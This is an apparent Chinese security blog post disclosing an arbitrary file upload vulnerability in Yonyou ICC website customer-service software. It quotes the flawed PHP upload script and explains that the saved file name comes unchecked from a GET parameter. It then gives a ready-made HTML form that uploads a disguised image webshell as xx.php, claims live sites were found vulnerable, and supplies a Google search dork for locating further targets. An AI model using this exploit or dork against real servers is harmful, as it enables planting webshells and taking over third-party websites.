用友ICC网站客服系统任意文件上传漏洞

作者:hack1990 时间:12-06-23 阅读数:633人阅读

<?php
/**
 * screenImagesSave.php
 *
 */
require_once('../global.inc.php');
 
//get request.
$ft = intval($_REQUEST['ft']);
 
/*
chdir($CONFIG["canned_file_tmp"]);
exec("rm -rf *");
*/
 
$date = date("Ymd");
$dest = $CONFIG->basePath.'data/files/'.$date."/";
if (!is_dir($dest))    mkdir($dest, 0777);
 
$filename = paramsFmt(urldecode($_GET["filename"]));
 
$nameExt = strtolower($COMMON->getFileExtName($_FILES['file']['name']));
 
$unallowedType = array('php', 'jsp', 'asp', 'sh', 'pl', 'js', 'jar', 'jad', 'class', 'java');
if(in_array($nameExt, $unallowedType)){
       if($ft == '1'){
              echo 'pe';
       }else if($ft == '2'){
              echo 'fe';
       }   
       exit;
}
 
/* if (empty($filename)) $filename = date("Ymdhms")."_noname.file";
echo $date."/".$filename;
*/
 
$filenameNew = $dest.$filename;
 
if(empty($_FILES["file"]['error'])){
       move_uploaded_file($_FILES["file"]["tmp_name"],$filenameNew);
}
 
if(file_exists($filenameNew)){
       echo(urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename));
       @chmod($filenameNew, 0444);
}else{
       if($ft == '1'){
              echo 'pe';
       }else if($ft == '2'){
              echo 'fe';
       }
}
?>
 
 
注意到filename 没有?有验证上传文件的类型,但保存的文件名却为:filename GET的参数。晕了。。
 
<form id="QuickSearch" name="QuickSearch" enctype="multipart/form-data" method="post" action="http://xxx.xxxx.com/5107/upload/screenImagesSave.php?filename=xx.php">
<input type="file" name="file">
<input type="submit" name="QuickSearchBtn" value="上传">
</form>
 
上传一个jpg 的图片木马,即上传成功为xx.php的马。
测试了:
http://icc.5107.cn/
和Google搜索的
等都存在。
 

关键字 inurl:/5107/upload/upload.php

发表评论